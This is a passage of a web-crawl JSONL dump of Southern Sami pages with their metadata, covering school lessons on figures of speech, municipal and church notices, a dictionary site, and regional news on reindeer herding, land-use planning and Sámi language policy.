vijri.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/128496?fag=126960","date":"2017-03-30T04:57:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00428-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999915361,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999915361404419}","num_words":408,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Metonymije\nGosse akte baakoe orre sisvegem åådtje, dellie mijjieh gïeleviehkie-dïrregem metonymijem nuhtjebe. Jis mijjieh plaerieh lohkebe dellie metonymijh joekoen sïejhme daaroen-gïelesne.\nGïehtjedh vuesiehtimmide:\n\"Åarjel-Trøndelaage gulliem vitni\"\nDellie fylkhen nomme soptseste gubpede almetjh böötin mah vitnin, jïh dellie fylhken nomme mentonymijinie sjædta.\n\"Slåahte aktem presse-bïevnesem seedti.\"\nGosse mijjieh baakoem slåahtem lohkebe daennie raajesisnie dellie mijjieh guarkebe slåahte lea gånka jïh dan fuelhkie.\nHarald Gaski gærjesne \"Med ord skal tyvene fordrives\" tjaala Jakob Fellman metonymijem nuhtjeme vuelesne \"Soelege jïh nåejtie\". Gaski tjaala nåejtie lea aalkoe-almetjh (saemieh) jïh soelege lea almetjh mah saapman båetieh jïh sijhtieh eatnemem vaeltedh.\nSynekdoke\nGosse mijjieh synekdokem nuhtjebe dellie mijjieh aaj jortehtibie. Synekdoke lea jis mijjieh biehkiem mestie akt neebnebe gosse edtjebe elliesvoetem buerkiestidh. Maehtebe dam vuekiem nuhtjedh gosse edtjebe giem akt ållermaehtedh.\nSigle-vïnhtsem maehtebe gåhtjodh: \"veelkes siglh\"\nelliesvoete\nhelhet","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/163652?fag=126960","date":"2017-03-25T07:59:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188891.62\/warc\/CC-MAIN-20170322212948-00402-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999351501,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999351501464844}","num_words":132,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh sjïdtemefaamoem evtiedibie! Daesnie aelhkie jieledh. Daesnie jearsoe jïh raeffie, buerie maadtoe almetjidie jïh sïelskide mah sijhtieh bæjjanidh.\nKrokomen tjïelte årroji daerpiesvoetem dåastohte. Faaleldahke, barkoe, gåetieluhpie, raeffiesvoete, ööhpehtimmie jïh dååjrehtimmie demokratijen tjïrrh åadtjoeh jïh gosse evtiedimmesne meatan. Daesnie nuepiem sïelskide jïh almetjidie sjïehteladta orrijidh juktie tjïelte maahta bæjjanidh.\nKontakta oss\nHar du tekniska frågor eller vill kommentera informationen på sidan så kan du kontakta webbredaktionen. Klicka här!","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/krokom.se\/sma-SE\/kommunochpolitik.2842.html","date":"2017-04-29T19:23:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123560.51\/warc\/CC-MAIN-20170423031203-00420-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9999455214,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999455213546753}","num_words":67,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiej gærhkoebiejjieh - Sáme girkkobiejve - Sámi girkobeaivvit - Samiske kirkedager 2017 - Árviesjávrrie - Arvidsjaur\nSaemiej gærhkoebiejjide Aerviesjaevresne ruffien 16-18 biejjide 2017.Les mer\nVárjal váimmot eambbo go buot eará, dainna go eallin vuolgá das.\nSátneláskkut 4,23\nDán vahko tjåhkani skallolåhkke nælját rijkkavijddásasj sáme skallolæjrraj Vuonan. Sáme identitehtta ja risstalasj jáhkko le guovdátjin, gå tiemá gå aktisasjvuohta ja guojmmegieresvuohta árvvaladdaduvvi.\nDaan våhkoen saemien skyllijemaanah gaavnedieh dan njealjeden laantenvijries saemien skyllijemaanajarkan Nöörjesne. Saemien identiteete jïh jupmeles jaahkoe leah jarngesne gosse edtjieh teemah goh solidariteetem jïh mubpiegieriesvoetem digkiedidh.","id":"","dump":"CC-MAIN-2017-17","url":"https:\/\/kirken.no\/samisk","date":"2017-04-26T04:00:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917121153.91\/warc\/CC-MAIN-20170423031201-00286-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.905713737,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9057137370109558, \"sme_Latn_score\": 0.07486964762210846, \"smj_Latn_score\": 0.016980627551674843}","num_words":78,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":0.902,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|Guktie daajroes, Sveerje lea liihtseginie EE-esne (Europa Ektiedimmesne) sjidteme, mij beetnegh dåajvohte, ektievoetejielemem jih barkoem unijovnen raastebealah skreejrehtidh. Trøøderidie jih dovne jiemhtide gåabpegh bielesne lea gujht buerine gosse buektiehtibie jillie-jih luvliebielesne eensilaahkan ektesne barkedh, nimhtie dam Nøørje jijtse bielaste seamma jijnjem dåajvohte!\n||Iktemearan leah daaj jinjh beetnegh, medtie 180 millionvnh tjåervieh 1996-n raejeste 1999-n raajan. Dennie mieresne lea vuertiemisnie edtjieh saatnan gielteges eajhnah jih prosjekth jijhtedh mah Jiemthen jih Trøøndelaagen fylhki gaskesem maehtie övtiedidh. Jielemevuekie, giehtjedimmie, ööpehtimmie, kultuvre, byjrese jih eeremes - orre barkoesijjieh leah viehkeles tsiehkiebaahkoe. Barkoesijjieh, tjielth, institusjovnh jih såemies almetjh sih joe maehtieh gijkije eajhnaj gujmie tjahkan, mohte eah giem Jiemhtesne dabpth? Dovne gaskeseövtiedamman maehtiejjibie debpelen dahkoe dåarjegem vedtedh!","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/boreale.konto.itv.se\/interreg\/aa2.htm","date":"2017-04-26T13:38:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917121355.9\/warc\/CC-MAIN-20170423031201-00371-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9999434948,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999434947967529}","num_words":110,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Veeljh baakoegärjam\nBuerie båeteme saemien baakoegärjese!\nRaeresth baakoeh\nMijjen orre webbe vierhtielissiehtahkesne libie (konsuvlenth) datnine (baakoegärjafunksjovne nuhtjije) nuepieh sinsätnan tjaeledh. Datne maahtah orre baakoeh raeriestidh mah åtnah faatoes, jallh voerkelidh jis fiejliem vueptiestamme. Numhtie maahta baakoegärjide aejkiej mietie sjidtedh jïh barre buerebe aaj sjidtedh årrodh.\nOrrestehteme\nMijjieh libie gyjhtelihks gaajhkide åssjalommide daan sisvegen bïjre. Mijjieh gaajhkh raeriestimmieh dovne lissiehdahkh vaaksjobe jïh baakoegärjam ikte-mearan orrestahtebe.\nNuepieh\nMijjen orre funksjovnen leah gellieh nuepieh. Mijjieh maehtebe båetije biejjide dam jienebh baakoegärjaj-gujmie stoerebe tseegkedh dovne jienebh saemien gïeligujmie aaj. Jis dov leah baakoelästoeh mah jienebidie almetjidie sïjhth bäjhkoedidh dle åadtjoeh govlijehtedh! Mijjieh gååvnesibie saemien siebredahken dïehte jïh barkebe juktie mijjen saemien gïelide edtjieh veasodh jïh öövtiedamme sjidtedh. Gaskesadth saemiedigkien gïeleåejvie Aina Negga, teel. 0980-780 58.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/ordbok.sametinget.se\/?lang=ss","date":"2017-04-29T05:27:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123276.44\/warc\/CC-MAIN-20170423031203-00068-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9999835491,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999983549118042}","num_words":119,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Staaloej bïjre\n1. laavenjasse\nLohkh tjaalgem Staaloej bïjre. Ohtsh jïh tjaelieh ammes jallh geerve baakoeh.\n2. laavenjasse\nMaam staaloe iktegisth meatan åtna?\n3. laavenjasse\nMan åvteste aelhkie staaloem nulliehtidh?\n4. laavenjasse\nMan åvteste vïenhth saemieh jaehkieh staaloe gååvnese?\n5. laavenjasse\nLohkh staaloej bïjre jïh tjaelieh tsiehkie-baakoeh. Dan mænngan edtjh iktedimmiem tjaeledh.","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/130998?fag=126960","date":"2017-05-22T19:34:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607046.17\/warc\/CC-MAIN-20170522190443-20170522210443-00621.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":46,"character_repetition_ratio":0.149,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Manne joekoen geerjene ihke Aarborten tjïelte sæjhta meatan årrodh åarjelsaemien gïelem evtiedidh jïh eevtjedh, raerielïhtsege Lars Filip Paulsen jeahta.\/ – Jeg er veldig glad for at Hattfjelldal kommune vil være med på å utvikle og fremme det sørsamiske språket, sier sametingsråd Lars Filip Paulsen.\n– Tjïelth jïh fylhkentjïelth leah akte dejstie Saemiedigkien ellen vihkielommes laavenjostoeguejmijste juktie gorredidh jïh evtiedidh dejtie saemien gïelide. Mijjieh dan åvteste geerjene ihke Aarborten tjïelte lea båateme goh gåalmede åarjelsaemien tjïelte, jïh destie dïedtem vaalta ihke saemien gïele edtja jielije gïeline årrodh aaj båetijen aejkien.\nSaemiedigkie jïh reeremetjïelth laavenjostoelatjkoeh utnieh mah edtjieh hijven gaskesadtemem jïh laavenjostoem sjugniedidh dej saemien gïeli bïjre.\n– Doh veeljemh mah daan biejjien dorjesuvvieh stoerre ulmiem åtna saemien gïeli båetijen aejkien gaavhtan, raerielïhtsege Lars Filip Paulsen jeahta.\nSaemien gïelen reeremedajvesne saemien jïh nöörjen leah mïrrestalleldh gïelh. Daate sæjhta jiehtedh gaajhkesh dovnesh reaktam utnieh viehkiem åadtjodh saemien gïelesne gosse gaskesem vaeltieh tjïeltine jallh jeatjah byögkeles etaatigujmie.\nPå norsk:\n– Kommuner og fylkeskommuner er en av Sametingets aller viktigste samarbeidspartnere for ivaretakelse og utvikling av samiske språk. Vi er derfor glad for at Hattfjelldal kommune er kommet inn som den tredje sørsamiske kommunen og dermed tar ansvar for at samiske språk skal være levende språk i fremtiden også.\nSametinget og forvaltningskommunene har samarbeidsavtaler som skal bidra til en god dialog og samarbeid om samisk språk.\n– De valg som tas i dag betyr noe for fremtiden for de samiske språkene, sier sametingsråd Lars Filip Paulsen\nI forvaltningsområdet for samisk språk er samisk og norsk likestilte språk. Det betyr at alle har rett til å bli betjent på samisk når de henvender seg til kommunen eller andre offentlige etater.","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/snasanytt.no\/2017\/05\/10\/aarborten-tjielte-meatan-vaaltasavva-saemien-gielen-reeremedajvese-hattfjelldal-kommune-innlemmes-i-forvaltningsomradet-for-samisk-sprak\/","date":"2017-05-27T02:23:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463608765.79\/warc\/CC-MAIN-20170527021224-20170527041224-00445.warc.gz","language":"sma","language_score":0.9815838933,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9815838932991028, \"sme_Latn_score\": 0.016082163900136948}","num_words":269,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":0.986,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dah Nøørjen myndigheth sijhtieh laagem jarkoestidh, guktie edtja aelhkebe sjidtedh, daejtie laante- burriegidie jih miehtjiejielemene giehtelidh jih skåakem snidtjedh jih geajnoeh bigkedh jih stuarajielemene barkedh.\n–Trøøndelaage åtna stoere miehtjieeatnemem. Raeriestamme daelie, mejtie tjielth edtjieh diedtem åadtjodh jih miehtjieeatnemen bijre reeredh, dihte faagedirektøøre Tjïelte-jih regionale departemeentesne. Judith Kortgårde, Nrk Trøøndelaagese,jeahta.\n– Edtja aelhkebe almetjidie sjidtedh jih daejtie njoelkedasside guarkedh. Gåabph edtjieh bieljelidh jis sijhtieh sïetere jielemem evtiedidh. Guktie åadtjoeh skåakem eevhredh. Aelhkebe aarkebijjie sjædta, dejtie mah edtjieh miehtjieeatnemem evtiedidh, Kroksgårde jeahta.\nTjïelte mij reerenasse sjædta.\nJis daam raeriestimmien nænnoestieh, dellie tjïelth reerenassine daejtie miehtjieeatneme aamhtside sjidtieh. Jienebh maehtieh eatnemissnie årrodh , Judith Kroksgårde jeahta.\nStraavva jijnjesh maehtieh stuarajielemene aelkieh.\nIj gaajhk lyjhkh ,edtjieh daam laakem jarkoestidh. Eva Nordfjelle , åejvie Rørosrein AS, dihte tuhtjie vihkeles, dihte miehtjieeatneme ååtje raeffesne årrodh.\n– Båatsoe jielemasse daate eatneme joekoen vihkeles, mijjieh daam eatnemem nuhtjebe. Jis stuarajieleme aaj eatnemasse tjijhtede, dellie bovtside jih bovtse barkoem sturrie, Nordfjelle jeahta.\nDaelie håhkesje båatsoejieleme aaj ååtje maam jiehtedh daan bijre. Guktie edtjieh daan miehtjieeatnemen bijre reeredh.\n– Jijnjesh edtjieh miehtjieeatnemem nuhtjedh manne kråvvadem jis jijnjh skovhtere laategh jih jijnjesh skovhteri gujmie, gaajhken lehkien vuejieh. Ibie daam mijjieh sijhth, Nordfjelle jeahta.\nDaelie edtjieh golme departemeenth daam raeriestimmiem gïetedidh, mejtie jeatja miehtjieeatneme reereme sjædta.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/www.nrk.no\/sapmi\/miehtjiejieleme-maahta-vihkeles-sjidtedh-1.12136101","date":"2017-11-20T02:54:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934805894.15\/warc\/CC-MAIN-20171120013853-20171120033853-00589.warc.gz","language":"sma","language_score":0.9999616146,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999616146087646}","num_words":199,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.055,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Regijovnale soejkesje arealeåtnose nænnoestamme sjïdti fylhkendigkeste voerhtjen 25.b. 2013.\nSoejkesje fokusem åtnastaare- jïh sijjieevtiedæmman, mearoe- jïh mearoegaedtiesovne, monnehke arealeåtnoe, båatsoe, bïegke- jïh tjaetsiefaamoe, siebriedahkejearsoesvoete jïh mineraalevierhtieh.\nSoejkesjebarkoen bïjre\nRegijovnaale soejkesje arealeåtnose lea illedahke aktede regijovnale laavenjostoste. Soejkesje lea ovmessie teemasuerkiej bïjre gosse lea åtnoen jih vaarjelimmien bijre arealijste mijjen fylhkesne. Soejkesje akte prijoriteradamme soejkesjebarkoe Regijovnaale soejkesjestrategijen sisnjelen Noerhte-Trööndelagese 2012-2016.\nEvtiedimmie aktede monnehke jih joekehtamme regijovnaale arealepolitihkeste. Regijovnale soejkesje arealeåtnose edtja viehkiehtidh aktem voenges jïh regijovnaale arealepolitihkem vijriesåbpoe evtiedidh, mij balansem dan ekologeles, sosijaale jïh ekonomeles monnehkevoeten gaskem gorrede.\nTjuara nasjovnaale signaalh jïh ulmieh regijovnaale politihkine sjïehtedidh, jïh dorjesovvedh regijovnaale jih voenges ellies illedahkide . Nöörjen laaken jïh nasjovnaale politihken mieriej sisnjeli tjuara dam regijovnaale politihkem ovmessie såarhts siebriedahkide sjïehtedidh regijovnen ovmessie bieline, mah ovmessie våaromh jïh nuepieh utnieh. Tjuara sjïehtedimmiem politihkeles prosessine darjodh jïh leavloem bïejedh dejtie haestiemidie voenges siebriedahkesne.\nDah vuarjasjimmieh tjuerieh dovne riektesvåaromem, aarvojeh, daajroeh jih dæjpeles dååjrehtimmieh krööhkedh. Akte daagkeres ållesth goerkese lea vihkeles jis edtja siebriedahkeevtiedimmine lyhkesidh noerhtetröönderen tjïeltine joekehts haestemigujmie.\nSoejkesjestaatuse Regijovnale soejkesjasse arealeåtnose.\nDaate nænnoestamme Regijovnale soejkesje arealeåtnose edtja våaroemasse bïejesovvedh regijovnaale åårgani barkose, jïh gosse tjïelth jïh staate sijjen barkoeh jih darjomh soejkesjieh Noerhte-Trööndelagesne. Dïhte ij dejtie daaletje soejkesjestruktuvride jarkelh, mah leah vihtiestamme soejkesje- jih bigkemelaakesne, gusnie tjïelth dam aalkoedïedtem utnieh arealesoejkesjimmien åvteste. Dïhte regijovnale arealepolitihke edtja viehkiehtidh vihkeles tjåenghkies kvaliteeth vaarjelidh.\nSoejkesjen bïhkedassh sijhtieh aktem dahkoesijjiem tjïeltide vedtedh sijjen arealesoejkesjimmesne mij lea daajroes åvtelhbodti. Bïhkedassh lea aktene bijjemes daltesisnie dorjesovveme, jïh ij naan konsekvensesalkehtimmiem buektieh.\nFylhkentjïelte jïh staaten etaath sijhtieh bïhkedasside våaroemasse bïejedh gosse soejkesjeaamhtesidie gïetedieh, jïh gïrremh eah soejeksjidie vadtasovvh mah leah bïhkedassi mietie.\nRegijovnale soejkesje arealeåtnose aaj jienebh laavenjostoevaajtelassh buakta jïh vihties laavenjostoeprosjekth joekehts guejmiej gaskem. Daagkerh laavaenjostoeprosessh edtjieh barkoem iktedidh, jïh viehkiehtidh guktie akte buerebe daajroevåarome sjædta ovmessie arealegyhtjelassi bïjre.\nLohkh vielie soejkesjebarkoen bïjre (nöörjen)\nNorsk tekst:\nRegional arealpolitikk vedtatt av fylkestinget\nRegional plan for arealbruk ble vedtatt av fylkestinget 25. april 2013. Planen har fokus på by- og stedsutvikling, sjø- og kystsonen, bærekraftig arealforvaltning, reindrift, vind- og vannkraft, samfunnssikkerhet og mineralressurser.\nOm planarbeidet\nRegional plan for arealbruk er et resultat av regionalt samarbeid. Planen omhandler ulike temaområder når det gjelder bruk og vern av arealer i vårt fylke. Planen er en prioritert planoppgave innenfor Regional planstrategi for Nord-Trøndelag 2012-2016.\nUtvikling av en bærekraftig og differensiert regional arealpolitikk. Regional plan for arealbruk skal bidra til å videreutvikle en lokal og regional arealpolitikk som sikrer balansen mellom økologisk, sosial og økonomisk bærekraft. Nasjonale signaler og målsettinger må avveies gjennom regional politikk og omsettes til gode helhetsløsninger regionalt og lokalt. Innen rammene av norsk lov og nasjonal politikk må regional politikk tilpasses ulike typer samfunn i ulike deler av regionen som har ulike forutsetninger og muligheter.\nAvveiningen må foretas i politiske prosesser med vekt på lokalsamfunnets utviklingsutfordringer. Vurderingene må ta hensyn til både faktagrunnlag, verdier, kunnskap og praktisk erfaring. En slik sammensatt forståelse er grunnleggende for å lykkes med samfunnsutviklingen i nordtrønderske kommuner med ulike utfordringer.\nPlanstatus for Regional plan for arealbruk vedtatt\nRegional plan for arealbruk skal legges til grunn for regionale organers virksomhet og for kommunal og statlig planlegging og virksomhet i Nord-Trøndelag. Den endrer ikke på eksisterende planstrukturer fastlagt i plan- og bygningsloven der kommunene har det primære ansvaret for arealplanleggingen. Den regionale arealpolitikken skal bidra til å bevare viktige felles kvaliteter. Planens retningslinjer vil gi kommunene et forutsigbart handlingsrom i deres arealplanlegging. Retningslinjene er utformet på et overordnet nivå og utløser ikke konsekvensutredning.\nFylkeskommunen og statlige etater vil legge retningslinjene til grunn i sin behandling av plansaker, og innsigelser vil ikke bli gitt til planer som er i samsvar med retningslinjene.\nRegional plan for arealbruk initierer videre flere samarbeidsønsker og konkrete samarbeidsprosjekter mellom ulike parter. Slike samarbeidsprosesser skal koordinere innsats og bidra til et bedret kunnskapsgrunnlag om ulike arealspørsmål.\nLes mer om planarbeidet","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/www.ntfk.no\/Nyheter\/Sider\/Regijovnaalearealepolitihkenaennoestammefylhkendigkeste.aspx","date":"2017-11-18T19:35:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934805023.14\/warc\/CC-MAIN-20171118190229-20171118210229-00709.warc.gz","language":"sma","language_score":0.988973856,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.98897385597229}","num_words":620,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Minngemes våhkoen båatsoesaemieh guvviedamme jih sosialemedijan tjïrrh vuesiehtamme, guktie dihte aarhtese miesijde moetesjeminie.\nDaelie dellie Nøørjen båatsoesaemiej rijhkesibrie «NBR» tuhtjie, tjuerieh daam ov-juvre soejkesjem jeatjahdehtedh.\n– Daelie barre dah nielije støøremes ov-juvri bijre pryøjjadieh. Manne tuhtjiem hijvene gåessie båatsoesaemieh jijtje guvvieh vuesiehtieh, guktie dihte aarhtese smaave miesijde bæksa, NBR en åvtehke Ellinor Jåma, jeahta.\nAalvere sjædta.\nDaelie dihte orre giehtjedimmie vuesehte dah aarhtesh jijnjh miesieh tsiptsestieh. Daelie vihkeles jis staate maahta viehkiehtidh jih aarhtsijste vaeniedidh, Jåma tuhtjie.\n– Dah båatsoeh saemieh tjuerieh daelie åadtjodh aarhtsijste suehpede laantesne vaeniedidh, dihte NBR en åvtehke Ellinor Jåma jeahta.\nMejtie daate aarhtese orre tjoepere sjidteme?\n–NBR guhkiem myndigheti gujmie aarhtsen bijre digkiedamme. Dah myndigheth eah leah daan bijre pryøjjeme. Daan mearan dellie staate baajeme daam aarhtesen aalem raeffesne aalanamme jih dellie daam stoerre tjoepere daelie båatsoesaemide sjædta, Jåma jeahta.\nDaate stoerre tjoepere sjidteme, jih tjoerem dallegh Byjreskevaarjelimmie ministerene daan aamhtesen bijre rååresjidh Jåma bievnede.\n- Lohkh aaj : Gierhkien aalem vaeniedidh","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/www.nrk.no\/sapmi\/aarhtsh-mieside-tsiptsehtjieh-1.12369446","date":"2017-12-15T03:07:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948563083.64\/warc\/CC-MAIN-20171215021156-20171215041156-00757.warc.gz","language":"sma","language_score":0.9999918938,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999918937683105}","num_words":153,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.039,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fïerhten jaepien mænngan St Olavsloppet jaepie 1988 eelki, vielletjh guaktah Peder jïh Kent Ove Lind meatan orreme. Daate gøøktelukie-gaektseden jaepien goh dah guaktah roehteminie.\nJoekoen hijven byjrese\nLind vielletjh Sportsgym eekijægan. Jïh dïhte lea dej dåehkiejgumie mejnie gaahtjeminie. Dan jaepien Sportsgym gøøkte dåehkieh meatan gaahtjemisnie. Sportsgym jïh Sportsgym motion. – Mijjieh akte 'snabbspringarlag' utnebe, Peder Lind jeahta jïh føørkede.\nPeder Lind\nEktievoetem lea dïhte bøøremes!\nPeder lea gellie jaepieh roehteme jïh dïhte tuhtjie daate gaahtjeme joekoen luste dan åvteste dan hijven byjrese. Gaajhkesh luste utnieh! Lind soptseste St Olavs lea lustes deahpadimmie gaajhkesidie mah lea meatan, jïh lea seamma mejtie lea elite jallh mosjoniste.\nPallesne sïjhtebe\nDan raajan hijven gåapetjh dåehkide gåeredamme. Lind tuhtjie vihkelommes ij naan ov-læhkoeh sjïdth, mohte hævvi Sportsgymen eelitedåehkie sæjhta pallem jaksedh. – Håhkesjibie 'topp tre' sjïdtebe, Lind jeahta. Jååktj-biejjien mænngan, dåehkiem njealjeden sijjesne lij. Dan biejjien edtjieh Levanger jïh Sandvika gaske roehtedh.\nPleenteme dåehkieh\nGåabpatjh dåehkine ovmessie almetjh mah lea meatan. 'Mixat lag' gååhtjoes. Jeejnjemes almetjh dåehkine Sportsgymesne barkieh, mohte dïhte lea aaj almetjh mah eah desnie barkieh. – Aehtjie lea båarasommes dåehkesne, dïhte tjïjhtjeluhkie jaepieh sjædta, Peder soptseste.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.nrk.no\/sapmi\/gookteluhkie-gaektsie-jaepie-roehteme-1.12427204","date":"2018-01-24T10:50:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084893629.85\/warc\/CC-MAIN-20180124090112-20180124110112-00259.warc.gz","language":"sma","language_score":0.9999679327,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999679327011108}","num_words":180,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie 500 tåvsenh kråvnah sïeltese Rørosrein AS dåårje juktie produksjovnelokaalide stueriedidh jïh gïebrememaasjinam åestedh.\/ Sametingsrådet bevilger 500 tusen kroner til Rørosrein AS for å utvide produksjonslokalene og til innkjøp av en pakkemaskin.\nSaemiedigkieraerie Silje Karine Muotka jeahta Rørosrein AS hijven evtiedimmienuepieh åtna båetijen aejkien, jïh sïelte lea jienebh dorjesh bovtsenbearkoste evtiedamme jïh gellie stonkehke åestijh åtna daan biejjien.\nRørosrein AS tseegkesovvi 2010. Sïeltesne göökte åarjelsaemien fuelhkieh mah gåabpatjahkh bovtsigujmie gïehtelieh Røros-dajvesne. Åerpenh Eva Nordfjell jïh Knut Tørresdal leah gåabpegh båatsoeaajhterh Gåebrien Sïjtesne. Rørosrein AS njieljie jaepiebarkoeh åtna, govhte ihkuve barkijh jïh govhte barkijh lissine leekedimmieboelhken. Sïelte bovtsenbearkoem dorje jïh duaka.\nDorjesh duakasuvvieh sïelten tjïrrh Rørosmat, bovresne gaertienisnie, meessine, festivaaline jïh jïjtsh doekemen tjïrrh bovride jïh restaurantide. Sïelte aaj aktem stoerre derhviegåetiem gaertienisnie tseegkeme, gusnie bearkoem jïjtsh produksjovneste, jïjtjetjöönghkeme muerjieh\/goebperh jïh guelieh gåassoehtieh jïh åarjelsaemien båatsoen bïjre Røros-dajvesne soptsestieh guesside. Goh akte mierie sïelten bïjre daelvege dah leah såemies vuejemeråantjoeh deememe.\n-Dastegh Rørosrein AS edtja buektiehtidh dam hijven evtiedimmiem bæjjese fulkedh dellie vihkeles sïelte sov lokaalh stueriedieh, juktie dïhte sæjhta lissiehtamme produksjovnem jïh jollebe åesiestimmiem vedtedh, jïh dan åvteste saemiedigkieraerie ohtsemem dåårje, Silje Karine Muotka jeahta.\nSametingsråd Silje Karine Muotka sier at Rørosrein AS har gode fremtidsutsikter, og bedriften har utviklet flere produkter av reinkjøtt og har i dag mange faste kunder.\nRørosrein AS ble etablert i 2010. Bedriften består av to sørsamiske familier som begge driver med reindrift i Rørosområdet. Søsknene Eva Nordfjell og Knut Tørresdal er begge reineiere i området med rein i beiteområdet Gåebrien Sijte. Rørosrein AS har fire årsverk, seks fastansatte og seks ansatte ekstra i sesong. Bedriften produserer og selger reinkjøtt.\nProduktene selges gjennom Rørosmat, utsalg på gården, messer, festivaler og ved eget salg til butikker og restauranter. Bedriften har også satt opp en gamme på gården, der de serverer kjøtt fra egen produksjon, egenplukket bær\/sopp, fisk og forteller gjestene om den sørsamiske reindrifta i Rørosområdet. Som en ramme rundt bedriften vinterstid, har de temmet noen reinbukker til å kjøre\n-Dersom Rørosrein AS skal klare å følge opp den positive fremveksten er det viktig at bedriften utvider sine lokaler, fordi det vil gi økt produksjon og 